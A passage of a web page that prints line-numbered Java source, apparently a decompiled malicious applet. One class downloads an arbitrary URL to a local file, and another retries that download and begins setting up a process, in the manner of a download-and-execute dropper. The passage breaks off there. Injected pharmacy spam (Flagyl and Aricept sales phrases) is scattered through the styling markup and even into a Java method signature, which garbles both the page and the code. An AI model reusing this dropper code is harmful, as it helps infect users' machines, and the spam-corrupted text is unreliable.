<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>             <span style="color: #0000ff">case</span> 2: // <span style="color: #006080">'<title>Aricept For Sale</title>2'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 j = 65 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>             ac[l] = (<span style="color: #0000ff">char</span>)j;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> String(ac);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl schedule</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span> }</pre>  </div></div></p>
<p><p>c_de.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.io.*;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl street price</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.net.URL;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URLConnection;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_de</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl trusted pharmacy reviews</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_de()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">boolean</span> de(String s, String s1)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl online cod</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             String s2 = s1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             BufferedOutputStream bufferedoutputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             InputStream inputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             URL url = <span style="color: #0000ff">new</span> URL(s);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Purchase Flagyl for sale</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>             bufferedoutputstream = <span style="color: #0000ff">new</span> BufferedOutputStream(<span style="color: #0000ff">new</span> FileOutputStream(s2));</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             URLConnection urlconnection = url.openConnection();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             inputstream = urlconnection.getInputStream();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             byte abyte0[] = <span style="color: #0000ff">new</span> byte[1024];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             <span style="color: #0000ff">int</span> i;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>order Flagyl no prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>             <span style="color: #0000ff">for</span>(long l = 0L; (i = inputstream.<span style="color: #0000ff">read</span>(abyte0)) != -1; l += i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 bufferedoutputstream.<span style="color: #0000ff">write</span>(abyte0, 0, i);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>             <span style="color: #0000ff">if</span>(inputstream != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 inputstream.<span style="color: #0000ff">close</span>();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl results</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             <span style="color: #0000ff">if</span>(bufferedoutputstream != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 bufferedoutputstream.<span style="color: #0000ff">close</span>();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>real brand Flagyl online</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span> }</pre>  </div></div></p>
<p><p>c_ed.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Where can i cheapest Flagyl online</b>, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">class</span> c_ed</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dosage</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     c_ed()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     <span style="color: #0000ff">public</span> void ed(String s, String s1, <b>Buy Flagyl without a prescription</b>, Applet applet)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>             c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             c_de c_de1 = <span style="color: #0000ff">new</span> c_de();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>buy Flagyl online cod</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             <span style="color: #0000ff">int</span> i = 0;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             do</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 <span style="color: #0000ff">if</span>(i &gt;= 5)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                     <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dose</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>                 <span style="color: #0000ff">if</span>(c_de1.de(s, s1))</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>                 {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                     Process process = <span style="color: #0000ff">null</span>;</pre></p>
